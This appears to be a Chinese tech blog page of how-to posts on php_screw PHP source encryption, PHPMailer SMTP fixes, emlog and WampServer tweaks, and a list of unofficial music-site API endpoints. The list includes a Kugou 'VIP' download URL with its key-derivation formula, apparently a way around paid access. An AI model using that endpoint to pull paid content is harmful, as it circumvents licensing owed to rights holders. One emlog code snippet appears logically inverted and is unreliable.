php加密-使用php_screw 1.5加密PHP文件的安装与使用 PHP

php文件通常以文本格式存贮在服务器端, 很容易被别人读到源代码, 为了对源代码进行保护, 可以采用对源代码进行加密的方式.要实现该功能需要两部分:

一是加密程序,实现对PHP文件的加密. 另一个就是对加密过的PHP文件进行解析, 以得到运行结果. 前者的实现比较简单, 就是一程序而已. 后者的实现大部分都是通过php module的形式来实现的.

php_screw(螺丝钉)可以实现以上的功能.最新版本是1.5,可以在sourceforge上下载.

安装:

安装的目的其实就是产生两个文件:一个是用于加密PHP文件的screw, 另一个就是php加载的解析模块php_screw.so


0.先下载php_screw http://sourceforge.net/projects/php-screw/files/ 或者是 http://jaist.dl.sourceforge.net/project/php-screw/php-screw/1.5/php_screw-1.5.tar.gz


解压,更改my_screw.h,里面的几个数字就是SEED,相当于密码,可以随意更改、增加

#tar -xzvf php_screw_1.5.tar.gz 
#cd php_screw_1.5 
#/opt/php/bin/phpize 
#./configure --with-php-config=/opt/php/bin/php-config 
#vi my_screw.h     (这个是密码文件,用户自己设置加密码的密码) 
#make   (make的作用是生成php_screw.so文件,这个文件是php用来解释加密码php文件的,生成的文件在./modules目录下. 
#cp ./modules/php_screw.so /opt/php/lib/php/extensions (php的扩展目录) 
#cd tools 
#make (make 生成screw 这个可执行文件,它用来加密码php文件,生成加密码后的.php文件)  
OK,编译完成 



或者是下面的方法:


1.将源代码包展开, 并进入该入目录:

2. 执行phpize, 就会在该目录下产生一个configure

3. 然后,运行configure

4. 再make

这样, 解析用的php_screw.so就生成了. 接下来要得到加密用的screw

1. 进入源码的tools目录

2. make

这样就生成了screw了. 如果要加密一个lx.php文件, 则: screw lx.php, lx.php就变成加密的了, 原来明文的lx.php被改名为lx.php.screw

接下来的任务就应该是加载php_screw.so模块了,

首先, 将该文件COPY到module目录下, 具体是哪个目录,可以参见/etc/php.ini配置文件中的extension_dir项,RHEL 5中为/usr/lib/php/modules

方法一:可以在/etc/php.d目录下新建一个screw.ini文件(文件是可以任意取的),其内容是一句话extension=php_screw.so

方法二:通过修改php.ini文件, 增加了一句extension=php_screw.so, 重启apache后就成功了.

重要说明:
编译的.so文件理论上跟你当前的php版本是相关的,也就是说,如果你是在php 5.1下编译的,就不能拿到php 5.2下去用,因为php的可加载模块总是与其版本相关的.而加密用的screw可执行文件理论上讲无所谓,只有他跟screw.so属于同一个版本就可以

测试:

编写一个hello, world程序,文件名为hello.php如下:

<?php
echo "Hello,world";
?>

用php  hello.php测试程序是否能成功显示, 成功显示后, 用screw对其进行加密(screw  helllo.php), 然后cat一下该php文件, 发现已经不是文本的了, 变成了许多乱字符, 说明加秘成功, 然后再php  hello.php, 如果能正常显示hello,world, 则说明加密的解析也没有问题了, 一切就算OK了.否则, 就说明还有不对的地方, 需要再仔细检查.

安装过程中遇到的问题:

1.找不到phpize

    phpize是属于php-develp的一个工具, (具体作用请自行解决) 因此, 必须要安装php-develp包. 中间有一些依赖, 如下:

[root@localhost Server]# rpm -ivh php-devel-5.1.6-5.el5.i386.rpm 
warning: php-devel-5.1.6-5.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
error: Failed dependencies:
        autoconf is needed by php-devel-5.1.6-5.el5.i386
        automake is needed by php-devel-5.1.6-5.el5.i386
[root@localhost Server]# rpm -ivh autoconf
autoconf213-2.13-12.1.noarch.rpm  autoconf-2.59-12.noarch.rpm       
[root@localhost Server]# rpm -ivh autoconf-2.59-12.noarch.rpm 
warning: autoconf-2.59-12.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
error: Failed dependencies:
        imake is needed by autoconf-2.59-12.noarch
[root@localhost Server]# rpm -ivh imake-1.0.2-3.i386.rpm 
warning: imake-1.0.2-3.i386.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
Preparing...                ########################################### [100%]
   1:imake                  ########################################### [100%]
[root@localhost Server]# rpm -ivh autoconf-2.59-12.noarch.rpm 
warning: autoconf-2.59-12.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
Preparing...                ########################################### [100%]
   1:autoconf               ########################################### [100%]
[root@localhost Server]# rpm -ivh automake
automake14-1.4p6-13.noarch.rpm  automake16-1.6.3-8.noarch.rpm   automake-1.9.6-2.1.noarch.rpm   
automake15-1.5-16.noarch.rpm    automake17-1.7.9-7.noarch.rpm   
[root@localhost Server]# rpm -ivh automake-1.9.6-2.1.noarch.rpm 
warning: automake-1.9.6-2.1.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
Preparing...                ########################################### [100%]
   1:automake               ########################################### [100%]
[root@localhost Server]# rpm -ivh php-devel-5.1.6-5.el5.i386.rpm 
warning: php-devel-5.1.6-5.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
Preparing...                ########################################### [100%]
   1:php-devel              ########################################### [100%]

2.每个加密的文件头部都一个很明显的字符串PM9SCREW, 这样很容易被人猜到是用screw加密的.

   这个问题的解决需要在安装的第一步就开始. 该标识串在源码的php_screw.h中. 在编译之前, 可以更改这个字符串, 例如,更改为PeterHu, 相应的下面的长度就不再是10了, 而是\tPeterHu\t,一共7个了.

#define PM9SCREW        "\tPM9SCREW\t"
#define PM9SCREW_LEN     10

网上看了好多PHP_SCREW安装文章.也看过好几次源码报里的READEME.
真折腾,要么脚本方式执行不了,要么网页无法显示.经过不屈不挠的折腾终于折腾出来了......分享以下方法...若有大虾知道具体原因不妨指点一二.
PS:CentOS release 5.8 (Final),php5.2.x
下载php-screw-1.5,若是php4用php-screw-1.3
源码包:http://sourceforge.net/projects/php-screw/files/latest/download?source=files
源码包放到/usr/local下,开始安装咯
1.tar -zxvf php_screw-1.5.tar.gz(出来permission之类错误就加sudo)
2.cd php_screw_1.5
3.phpize(执行不了就写phpize的绝对路径,装好了的前提下)
4.vi my_screw.h(里面是密码,想改就改,最好不要超过5位数,若改了要记好,因为重新编译时要用)
5.vi php_screw.h(里面是加密字符串,默认是PM9SCREW,最好改成别的字符串,字符串变了下面长度也要跟着变,改成LOVE的话长度就是6了,字符串要记下)
6. ./configure
7. make && make install
成功了会输出:Installing shared extensions:     /usr/lib64/php/modules/(这个目录是/etc下php.ini里extension_dir指定的目录).php_screw.so文件就在这里,当然编译目录的modules下也有.
8. cd tools/
9. make
 这样生成了加密用的程序screw了
10. cp screw /usr/bin下
这样加密的时候可以直接screw 文件名了,不用写screw的路径
11.修改ini
cd /etc/php.d(这里是php.ini加载的各种扩展可以在这写,打开别的文件看看就知道了)
vi php_screw.ini
里面写上extension=php_screw.so保存退出
12.重启apache
在根目录下创建hello.php 
<?echo 'hello';?>
php hello.php
输出:hello
screw hello.php
输出:Success Crypting(hello.php),说明加密成功,目录下会多出一个文件hello.php.screw,现在的hello.php已经是加密过的了,而多出的则是源文件的备份.
cat hello.php显示乱码.
php hello.php 输出hello.脚本方式解析加密文件成功了.
在根目录下建立phpinfo,里面若有php_screw扩展相关信息就说明可以通过浏览器访问加密的文件了.不用继续往下看了.我是有两个php.ini,网页跟脚本方式调用的ini不同.
接下来要重新编译一次了,为了可以在网页里正常显示.
1.去编译目录
make clean
然后把目录给删了.
2.tar -zxvf php_screw.1.5.tar.gz重新解压
3. phpize
4. myscrew.h跟php_screw.h里的密码跟字符串记得要跟之前的一样
5. ./configure --with-php-config=php-config路径(php安装目录下有)
6.make && make install
输出:Installing shared extensions:     /var/www/php5/lib/php/extensions/no-debug-non-zts-20060613/
(这次php_screw.so在这个目录下咯)
7.php_screw.so复制到phpinfo里extension_dir指定的目录,我的是/var/www/modules下
8.修改php.ini(php安装目录下的,phpinfo里会显示载入的是哪个ini,就改那个)
 在最下方添加extension=php_scrw.so
9.重启apache
10.在phpinfo里看看有木有php_screw相关信息,有的话就ok了~
至此,安装结束了,虽然有点点头绪,但我还是没太搞明白为什么得这样编译两次才行......

PS:编译过程中碰见的几个问题如下(解决方法)

1。 /root/php_screw-1.5/php_screw.c: In function ‘pm9screw_compile_file’:

解决方法:

需要修改php_screw.c

把第78,84,93行的org_compile_file(file_handle, type);
修改为:
org_compile_file(file_handle, type TSRMLS_CC);

然后再make就成功了。

2. /opt/soft/php_screw-1.5/php_screw.c: In function ‘zm_startup_php_screw’:/opt/soft/php_screw-1.5/php_screw.c:124: 错误:‘zend_compiler_globals’ 没有名为 ‘extended_info’ 的成员/opt/soft/php_screw-1.5/php_screw.c: In function ‘zm_shutdown_php_screw’:/opt/soft/php_screw-1.5/php_screw.c:133: 错误:‘zend_compiler_globals’ 没有名为 ‘extended_info’ 的成员make: *** [php_screw.lo] 错误 1

解决方法:
需要修改php_screw.c

把CG(extended_info) = 1;
修改为:
CG(compiler_options) |= ZEND_COMPILE_EXTENDED_INFO;


php_screw如何对当前目录下,对目录下包含的文件,以及包含目录下的文件进行整体加密

find ./ -name "*.php" -print|xargs -n1 screw //加密所有的.php文件

find ./ -name "*.screw" -print/xargs -n1 rm //删除所有的.php源文件的备份文件

命令都实验过成功的.........应该没什么再补充的咯....



admin 发布于  2015-10-19 20:17 

phpmailer发送邮件 SMTP Error: Could not authenticate 错误 技术文章

今天在使用sendmail插件(phpmailer)发送邮件时居然提示SMTP Error: Could not authenticate,这个感觉是smtp设置的问题,下面我在网上找到了几种解决办法。

今天在使用phpmailer发送smtp邮件时提示 SMTP Error: Could not authenticate 错误,其中密码帐号都是正确的,邮箱也设置开启了SMTP功能。

上谷歌百度了一遍,有的说是服务器禁用了端口,有的说把class.phpmailer.php中的:

function IsSMTP() {
$this->Mailer = 'smtp';
}改为
function IsSMTP() {
$this->Mailer = 'SMTP';
}

测试以后还是不行,心中郁闷的一米。最后在一篇博客中找到了解决方法,先分享出来让更多遇到同样问题的人能得到帮助!


这个错误说明虚拟主机不支持PHPMailer默认调用的fsockopen函数,找到class.smtp.php文件,搜索fsockopen,就找到了这样一段代码:

// connect to the smtp server
$this->smtp_conn = @fsockopen($host,// the host of the server
    $port,// the port to use
    $errno,   // error number if any
    $errstr,  // error message if any
    $tval);   // give up after ? secs

方法1:将fsockopen函数替换成pfsockopen函数

首先,在php.ini中去掉下面的两个分号

;extension=php_sockets.dll

;extension=php_openssl.dll

然后重启一下

因为pfsockopen的参数与fsockopen基本一致,所以只需要将@fsockopen替换成@pfsockopen就可以了。

方法2:使用stream_socket_client函数

一般fsockopen()被禁,pfsockopen也有可能被禁,所以这里介绍另一个函数stream_socket_client()。

stream_socket_client的参数与fsockopen有所不同,所以代码要修改为:

$this->smtp_conn = stream_socket_client("tcp://".$host.":".$port, $errno,  $errstr,  $tval);

这样就可以了。

如果上面办法还是没有解决可能是邮箱自动过滤你机器自动登录邮箱发邮件了哦,我是使用下面办法解决的

刚开始使用的qq的帐号,提示上面错误。换成新注册的163帐号可以正常发送。

之后换了一个qq等级比较高的帐号,这下可以正常发送,没有报任何错误。

因为收件人用的是qq邮箱帐号,所以发件帐号用qq的邮箱比较好,这样发送过多不会轻易的被拦截或判为垃圾邮件。

所以结论就是配置中使用一个qq等级比较高的帐号(我的一个小号等级2个月亮可以正常使用,当然等级越高越好,)

ps:也要查看邮箱中“设置邮件地址黑名单”及“收信规则”,有时系统会自动将一些邮箱自动加入黑名单的


admin 发布于  2015-10-8 20:33 

Emlog文章标题自动生成英语别名,利于SEO emlog

很多搞SEO的通常都是自己把文章标题给写成拼音,这样感觉好麻烦的有没有,现在可以在修改内核的保存文件就行,前提是你要善于折腾,如果不喜欢又懒得折腾的那就不需要看下去了。

改动教程:
1、打开admin目录下载的save_log.php文件,在里面加入以下代码

class Chinese_to_PY {
    /**
     * 拼音字符转换图
     * @var array
     */
    private static $_aMaps = array(
        'a'=>-20319,'ai'=>-20317,'an'=>-20304,'ang'=>-20295,'ao'=>-20292,
        'ba'=>-20283,'bai'=>-20265,'ban'=>-20257,'bang'=>-20242,'bao'=>-20230,'bei'=>-20051,'ben'=>-20036,'beng'=>-20032,'bi'=>-20026,'bian'=>-20002,'biao'=>-19990,'bie'=>-19986,'bin'=>-19982,'bing'=>-19976,'bo'=>-19805,'bu'=>-19784,
        'ca'=>-19775,'cai'=>-19774,'can'=>-19763,'cang'=>-19756,'cao'=>-19751,'ce'=>-19746,'ceng'=>-19741,'cha'=>-19739,'chai'=>-19728,'chan'=>-19725,'chang'=>-19715,'chao'=>-19540,'che'=>-19531,'chen'=>-19525,'cheng'=>-19515,'chi'=>-19500,'chong'=>-19484,'chou'=>-19479,'chu'=>-19467,'chuai'=>-19289,'chuan'=>-19288,'chuang'=>-19281,'chui'=>-19275,'chun'=>-19270,'chuo'=>-19263,'ci'=>-19261,'cong'=>-19249,'cou'=>-19243,'cu'=>-19242,'cuan'=>-19238,'cui'=>-19235,'cun'=>-19227,'cuo'=>-19224,
        'da'=>-19218,'dai'=>-19212,'dan'=>-19038,'dang'=>-19023,'dao'=>-19018,'de'=>-19006,'deng'=>-19003,'di'=>-18996,'dian'=>-18977,'diao'=>-18961,'die'=>-18952,'ding'=>-18783,'diu'=>-18774,'dong'=>-18773,'dou'=>-18763,'du'=>-18756,'duan'=>-18741,'dui'=>-18735,'dun'=>-18731,'duo'=>-18722,
        'e'=>-18710,'en'=>-18697,'er'=>-18696,
        'fa'=>-18526,'fan'=>-18518,'fang'=>-18501,'fei'=>-18490,'fen'=>-18478,'feng'=>-18463,'fo'=>-18448,'fou'=>-18447,'fu'=>-18446,
        'ga'=>-18239,'gai'=>-18237,'gan'=>-18231,'gang'=>-18220,'gao'=>-18211,'ge'=>-18201,'gei'=>-18184,'gen'=>-18183,'geng'=>-18181,'gong'=>-18012,'gou'=>-17997,'gu'=>-17988,'gua'=>-17970,'guai'=>-17964,'guan'=>-17961,'guang'=>-17950,'gui'=>-17947,'gun'=>-17931,'guo'=>-17928,
        'ha'=>-17922,'hai'=>-17759,'han'=>-17752,'hang'=>-17733,'hao'=>-17730,'he'=>-17721,'hei'=>-17703,'hen'=>-17701,'heng'=>-17697,'hong'=>-17692,'hou'=>-17683,'hu'=>-17676,'hua'=>-17496,'huai'=>-17487,'huan'=>-17482,'huang'=>-17468,'hui'=>-17454,'hun'=>-17433,'huo'=>-17427,
        'ji'=>-17417,'jia'=>-17202,'jian'=>-17185,'jiang'=>-16983,'jiao'=>-16970,'jie'=>-16942,'jin'=>-16915,'jing'=>-16733,'jiong'=>-16708,'jiu'=>-16706,'ju'=>-16689,'juan'=>-16664,'jue'=>-16657,'jun'=>-16647,
        'ka'=>-16474,'kai'=>-16470,'kan'=>-16465,'kang'=>-16459,'kao'=>-16452,'ke'=>-16448,'ken'=>-16433,'keng'=>-16429,'kong'=>-16427,'kou'=>-16423,'ku'=>-16419,'kua'=>-16412,'kuai'=>-16407,'kuan'=>-16403,'kuang'=>-16401,'kui'=>-16393,'kun'=>-16220,'kuo'=>-16216,
        'la'=>-16212,'lai'=>-16205,'lan'=>-16202,'lang'=>-16187,'lao'=>-16180,'le'=>-16171,'lei'=>-16169,'leng'=>-16158,'li'=>-16155,'lia'=>-15959,'lian'=>-15958,'liang'=>-15944,'liao'=>-15933,'lie'=>-15920,'lin'=>-15915,'ling'=>-15903,'liu'=>-15889,'long'=>-15878,'lou'=>-15707,'lu'=>-15701,'lv'=>-15681,'luan'=>-15667,'lue'=>-15661,'lun'=>-15659,'luo'=>-15652,
        'ma'=>-15640,'mai'=>-15631,'man'=>-15625,'mang'=>-15454,'mao'=>-15448,'me'=>-15436,'mei'=>-15435,'men'=>-15419,'meng'=>-15416,'mi'=>-15408,'mian'=>-15394,'miao'=>-15385,'mie'=>-15377,'min'=>-15375,'ming'=>-15369,'miu'=>-15363,'mo'=>-15362,'mou'=>-15183,'mu'=>-15180,
        'na'=>-15165,'nai'=>-15158,'nan'=>-15153,'nang'=>-15150,'nao'=>-15149,'ne'=>-15144,'nei'=>-15143,'nen'=>-15141,'neng'=>-15140,'ni'=>-15139,'nian'=>-15128,'niang'=>-15121,'niao'=>-15119,'nie'=>-15117,'nin'=>-15110,'ning'=>-15109,'niu'=>-14941,'nong'=>-14937,'nu'=>-14933,'nv'=>-14930,'nuan'=>-14929,'nue'=>-14928,'nuo'=>-14926,
        'o'=>-14922,'ou'=>-14921,
        'pa'=>-14914,'pai'=>-14908,'pan'=>-14902,'pang'=>-14894,'pao'=>-14889,'pei'=>-14882,'pen'=>-14873,'peng'=>-14871,'pi'=>-14857,'pian'=>-14678,'piao'=>-14674,'pie'=>-14670,'pin'=>-14668,'ping'=>-14663,'po'=>-14654,'pu'=>-14645,
        'qi'=>-14630,'qia'=>-14594,'qian'=>-14429,'qiang'=>-14407,'qiao'=>-14399,'qie'=>-14384,'qin'=>-14379,'qing'=>-14368,'qiong'=>-14355,'qiu'=>-14353,'qu'=>-14345,'quan'=>-14170,'que'=>-14159,'qun'=>-14151,
        'ran'=>-14149,'rang'=>-14145,'rao'=>-14140,'re'=>-14137,'ren'=>-14135,'reng'=>-14125,'ri'=>-14123,'rong'=>-14122,'rou'=>-14112,'ru'=>-14109,'ruan'=>-14099,'rui'=>-14097,'run'=>-14094,'ruo'=>-14092,
        'sa'=>-14090,'sai'=>-14087,'san'=>-14083,'sang'=>-13917,'sao'=>-13914,'se'=>-13910,'sen'=>-13907,'seng'=>-13906,'sha'=>-13905,'shai'=>-13896,'shan'=>-13894,'shang'=>-13878,'shao'=>-13870,'she'=>-13859,'shen'=>-13847,'sheng'=>-13831,'shi'=>-13658,'shou'=>-13611,'shu'=>-13601,'shua'=>-13406,'shuai'=>-13404,'shuan'=>-13400,'shuang'=>-13398,'shui'=>-13395,'shun'=>-13391,'shuo'=>-13387,'si'=>-13383,'song'=>-13367,'sou'=>-13359,'su'=>-13356,'suan'=>-13343,'sui'=>-13340,'sun'=>-13329,'suo'=>-13326,
        'ta'=>-13318,'tai'=>-13147,'tan'=>-13138,'tang'=>-13120,'tao'=>-13107,'te'=>-13096,'teng'=>-13095,'ti'=>-13091,'tian'=>-13076,'tiao'=>-13068,'tie'=>-13063,'ting'=>-13060,'tong'=>-12888,'tou'=>-12875,'tu'=>-12871,'tuan'=>-12860,'tui'=>-12858,'tun'=>-12852,'tuo'=>-12849,
        'wa'=>-12838,'wai'=>-12831,'wan'=>-12829,'wang'=>-12812,'wei'=>-12802,'wen'=>-12607,'weng'=>-12597,'wo'=>-12594,'wu'=>-12585,
        'xi'=>-12556,'xia'=>-12359,'xian'=>-12346,'xiang'=>-12320,'xiao'=>-12300,'xie'=>-12120,'xin'=>-12099,'xing'=>-12089,'xiong'=>-12074,'xiu'=>-12067,'xu'=>-12058,'xuan'=>-12039,'xue'=>-11867,'xun'=>-11861,
        'ya'=>-11847,'yan'=>-11831,'yang'=>-11798,'yao'=>-11781,'ye'=>-11604,'yi'=>-11589,'yin'=>-11536,'ying'=>-11358,'yo'=>-11340,'yong'=>-11339,'you'=>-11324,'yu'=>-11303,'yuan'=>-11097,'yue'=>-11077,'yun'=>-11067,
        'za'=>-11055,'zai'=>-11052,'zan'=>-11045,'zang'=>-11041,'zao'=>-11038,'ze'=>-11024,'zei'=>-11020,'zen'=>-11019,'zeng'=>-11018,'zha'=>-11014,'zhai'=>-10838,'zhan'=>-10832,'zhang'=>-10815,'zhao'=>-10800,'zhe'=>-10790,'zhen'=>-10780,'zheng'=>-10764,'zhi'=>-10587,'zhong'=>-10544,'zhou'=>-10533,'zhu'=>-10519,'zhua'=>-10331,'zhuai'=>-10329,'zhuan'=>-10328,'zhuang'=>-10322,'zhui'=>-10315,'zhun'=>-10309,'zhuo'=>-10307,'zi'=>-10296,'zong'=>-10281,'zou'=>-10274,'zu'=>-10270,'zuan'=>-10262,'zui'=>-10260,'zun'=>-10256,'zuo'=>-10254
    );

    /**
     * 将中文编码成拼音
     * @param string $chinese 要转换为拼音的字符串
     * @param string $sRetFormat 返回格式 [first:每个字的首字母|all:全拼音|one:字符串字母]
     * @return string
     */
    public static function getPY($chinese, $sRetFormat='first'){
        $sGBK = iconv('UTF-8', 'GBK', $chinese);
        $sUTF8 = iconv('GBK', 'UTF-8', $sGBK);
        if($sUTF8 != $chinese) $sGBK = $chinese;
        $aBuf = array();
        for ($i=0, $iLoop=strlen($sGBK); $i<$iLoop; $i++) {
            $iChr = ord($sGBK{$i});
            if ($iChr>160)
                $iChr = ($iChr<<8) + ord($sGBK{++$i}) - 65536;
            if ('first' == $sRetFormat || 'one' == $sRetFormat)
                //$aBuf[] = substr(self::zh2py($iChr),0,1);
                $aBuf[] = self::zh2py($iChr);
            else
                $aBuf[] = self::zh2py($iChr);

        }
        if ('first' === $sRetFormat)
            return implode('', $aBuf);
        elseif('one' == $sRetFormat)
            return $aBuf[0];
        else
            return implode(' ', $aBuf);
    }

    /**
     * 中文转换到拼音(每次处理一个字符)
     * @param number $iWORD 待处理字符双字节
     * @return string 拼音
     */
    private static function zh2py($iWORD) {
        if($iWORD>0 && $iWORD<160 ) {
            return chr($iWORD);
        } elseif ($iWORD<-20319||$iWORD>-10247) {
            return '';
        } else {
            foreach (self::$_aMaps as $py => $code) {
                if($code > $iWORD) break;
                $result = $py;
            }
            return $result;
        }
    }
}


最后将此文件下的:

$alias = isset($_POST['alias']) ? addslashes(trim($_POST['alias'])) : '';
修改成:
$al=htmlspecialchars($_POST['alias']);
if(empty($al)){
    $alias = preg_replace('/ /', '-', Chinese_to_PY::getPY($title,'all'));
}else{
    $alias = '';
}
保存,即可实现效果!

但是感觉标题太长了。。。正在研究缩短,或者是取货首字母,或前两个字母。。。000036-2015-09-22.jpg

此文并非博主原创,是在博友独狼哪里看到的,原文地址:http://www.xlonewolf.net/course/32.html



admin 发布于  2015-9-22 19:43 

emlog开启评论审核之后,评论结束自动跳转回原文 emlog

emlog开启评论审核之后,评论结束就会跳转到这个界面:

000032-2015-09-22.jpg

不会自动跳转回原文,感觉不太好,于是呢,在论坛问了一下,最终修改方法如下,在此小计,希望可以帮到那些需要的童鞋:

找到 \include\lib\function.base.php 865行的 emMsg()函数,把 

$isAutoGo = false 修改成  $isAutoGo = true


000034-2015-09-22.jpg

其实,函数里面有说明的,boolean $isAutoGo 是否自动返回 true false 。之后评论完就会自动跳转到原文了(注意看左上角的旋转的圆圈):

000035-2015-09-22.jpg

随便吐槽,谁这么无奈,跑我这里刷广告。。。专门针对的。。。不过 我只需要一键,就删除了所有广告,所以,慎重!!!000033-2015-09-22.jpg


admin 发布于  2015-9-22 19:25 

插件冲突导致emlog的rss输出出错 emlog

先来看一下插件冲突导致rss输出出错的样子吧:

2015-08-29 22_52_00.png

估计很多的朋友都有过这种情况吧,rss.php输出出错,我也是,一开始以为是数据库表出错了,还使用工具箱修复,结果发现,还是不可以的。于是就把所有的插件都停用了,然后,慢慢测试,发现下面几个插件在激活状态都会导致rss.php输出出错:

1.奇遇的防垃圾评论插件 地址:http://www.emlog.net/plugin/10 希望奇遇可以修复

2.二今的代码演示插件,地址:http://www.emlog.net/plugin/166 希望而今可以修复

3.vibbow的索引通知插件 地址:http://www.emlog.net/plugin/9 希望可以修复

这些都是自己在最新版的emlog5.31上测试发现的,以为这些插件能够使用,但是版本上没有更新,所以兼容性不是很好。当然了,作者有时间最好修复一下,仅此小计一下,方便那些对于rss.php出错但是不知道什么原因的童鞋有点帮助,禁用这些插件就OK了,这些插件其实挺好的,只是没有升级更新。

禁用这些插件之后,rss输出就OK了:

2015-08-29 22_52_30.png


admin 发布于  2015-8-29 21:52 

为Wampserver My Projects自动添加localhost前缀 技术文章

我们安装好wampserver最新版之后,在菜单里面就会有My Project选项:

01.png

我们在wamp的默认www目录(根据你自己的安装路径)下面创建两个文件夹,emlog531和JavaScriptStudy,重启wampserver就可以在My Project里发现了。

但是我们默认打开其中的任意一个都会发现在浏览器里面的路径是这个样子的:

2015-08-26 09_23_53.png

根本就不能打开。。。。

我们打开localhost,在下面的 Your Projects 里面会发现打开项目依然不能访问,下图是我修改之后的,路径自动加上了localhost,就可以正常访问了,

2015-08-26 09_27_44.png

2015-08-26 09_25_32.png

而且修改之后我们直接在wamp的托盘菜单里面的菜单里面的My Projects项目可以直接在浏览器打开并正常访问,具体的修改反方法如下:

1>打开 \wamp\www\index.php

修改如下这行代码:


$suppress_localhost = true; 修改成 :$suppress_localhost = false;


2015-08-26 09_24_36.png

2>打开 \wamp\scripts\refresh.php

修改如下这行代码:


 Parameters: "http://'.$projectContents[$i].'/";  修改成 :  Parameters: "http://localhost/'.$projectContents[$i].'/";  其实就是在 http://后添加 localhost/


2015-08-26 10_09_13.png

完成上面两部之后就可以重新启动wampserver看效果了。一般就成功了。如果还是不行,那就参考这篇文章:



自定义wamp_server的网站根目录

相关文章推荐:

修改WampServer的默认浏览器小计--mrxn's Blog

修改wamp中的MySQL默认密码

在 WampServer 上手工安装 PHP 的多个版本


admin 发布于  2015-8-26 08:18 

给emlog5.3.1版本验证码添加点击刷新功能的方法 emlog

Emlog默认模板下验证码是没有点击刷新功能的,要刷新验证码的话还是得按F5刷新整个页面重新获得验证码,虽然emlog验证码看得比较清楚,但要通过重新刷新网页来获得新的验证码的方法对于网站负荷和用户体验来讲都并不合适,所以有必要给验证码添加点击刷新功能了。

    若要给emlog验证码添加点击刷新功能,还是很简单的,因为emlog的验证码也是img形式存在的,所以和其它类似的验证码一样,为img标签添加onclick属性就行了。

    Emlog有用到验证码的源代码有如下文件:

Emlog碎语:/t/index.php

Emlog评论:/include/controller/log_controller.php

Emlog管理后台登录:include\lib\loginauth.php


将以上文件的验证码位置的img标签添加以下语句即可实现点击刷新验证码功能:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums">style=\"cursor:pointer;\" alt=\"未显示?请点击刷新\" title=\"看不清楚?请点击刷新\" onclick=\"this.src=this.src+'?'\"
如Emlog评论:/include/controller/log_controller.php, 有以下验证码源码:



<pre style="overflow:auto" ;class="prettyprint lang-php linenums"><img src=\"".BLOG_URL."include/lib/checkcode.php\" align=\"absmiddle\" /><input name=\"imgcode\" type=\"text\" class=\"input\" size=\"5\" tabindex=\"5\" />
改成如下代码即可添加上点击刷新验证码功能:



<pre style="overflow:auto" ;class="prettyprint lang-php linenums"><img src=\"".BLOG_URL."include/lib/checkcode.php\" align=\"absmiddle\" style=\"cursor:pointer;\" alt=\"未显示?请点击刷新\" title=\"看不清楚?请点击刷新\" onclick=\"this.src=this.src+'?'\" /><input name=\"imgcode\" type=\"text\" class=\"input\" size=\"5\" tabindex=\"5\" />
其它几个页面中添加验证码刷新功能方法类似,此略,注:此方法在em5.3.1正常使用,其他版本未测试。



另一种方法,来源于论坛,简爱发布:前提是当前模板要加载过 jQuery,没有的可以自己添加一下,直接在后台 添加统计代码的位置添加即可 (下面的代码 也在此位置添加,适用于全部正规模板)



<pre style="overflow:auto" ;class="prettyprint lang-php linenums"><font size="4" face="黑体">$('img[src="checkcode.php"]') // jQuery 筛选器
.attr('title', '单击刷新验证码') // 添加 title
.click(function(){ // 单击事件
this.src = this.src.replace(/\?.
$/, "") +'?'+ new Date().getTime(); // 重新设置 验证码 图片地址 checkcode.php?r=当前毫秒数
});</font>



admin 发布于  2015-8-2 15:16 

各大音乐网站接口,懂得人自然懂 影音分享

360离线接口:

<span id="tbOffline" class="y-btn y-btn-gray offline" data-cn="offline">

        <i class="icon icon-offline"></i><span class="label">离线下载</span></span>



酷狗音乐接口:

VIP接口:http://trackercdn.kugou.com/i/?cmd=4&amp;hash={$Hash}&amp;key={$md5($hash . "kgcloud")}&pid=1&forceDown=0&vip=1

安卓接口:http://trackercdn.kugou.com/i/v2/?appid=1005&amp;pid=2&amp;cmd=25&amp;key={$md5($hash . "kgcloud")}&hash={$Hash}&version=7472&behavior=play&with_res_tag=1



酷狗视频接口:http://static.kgimg.com/common/swf/video/videoPlayer.swf?skinurl=http://static.kgimg.com/common/swf/video/skin.swf&amp;aspect=true&amp;url={Mp4或Flv类型的Url}&amp;autoplay=true&amp;fullscreen=true&amp;initfun=flashinit



网易视频接口:http://s1.music.126.net/style/swf/MVPlayer.swf?murl={Mp4或Flv类型的Url}&amp;autoPlay=true



SongTaste接口1:http://www.songtaste.com/api/android/songurl.php?songid={$SongId}

SongTaste接口2:http://songtaste.com/play.php?song_id={$SongId}



电信爱音乐接口:www.118100.cn/v5/action/secweborder/v3/songsdata.do?it=1&songId={$SongId}  取ququAddr处代码用Base64解码

联通音乐接口:

http://www.10155.com/player/playContentId.do?songIds={$SongId}

http://www.10155.com/player/playSongInfos.do?contentIds={$contentIds}_{$SongId}_not_not_not_not_not



酷狗51Sing接口1:http://mobileapi.5sing.kugou.com/song/transcoding?songid=$SongId}&amp;songtype={$SongType}

酷狗51Sing接口2:http://5sing.kugou.com/m/detail/{$SongType}-{$SongId}-1.html



酷我音乐接口1:http://antiserver.kuwo.cn/anti.s?format={$SongType}%7Cmp3&amp;rid=MUSIC_{$SongId}&amp;response=url&amp;type=convert_url

酷我音乐接口2:http://player.kuwo.cn/webmusic/st/getNewMuiseByRid?rid=MUSIC_{$SongId}



网易云音乐接口:http://music.163.com/api/song/detail/?id={$SongId}&amp;ids=%5B{$SongId}%5D&amp;csrf_token=



百度音乐接口1:

①:http://music.baidu.com/data/music/fmlink?songIds={$SongId}&amp;type={$SongType}

②:http://music.baidu.com/data/music/fmlink?songIds={$SongId}&amp;type={$SongType}&amp;rate={$Rate}



百度音乐接口2:

①:http://ting.baidu.com/data/music/links?songIds={$SongId}&amp;type={$SongType}

②:http://ting.baidu.com/data/music/links?songIds={$SongId}&amp;type={$SongType}&amp;rate={$Rate}



咪咕音乐接口:http://music.migu.cn/webfront/player/findsong.do?itemid={$SongId}&amp;type=song



搜狗音乐:http://mp3.sogou.com/tiny/song?query=getlyric&amp;json=1&amp;tid={$Tid}



Echo回声音乐:http://echosystem.kibey.com/sound/info?sound_id={$SongId}



QQ音乐接口:

http://s.plcloud.music.qq.com/fcgi-bin/fcg_yqq_song_detail_info.fcg?songmid={$SongMid}

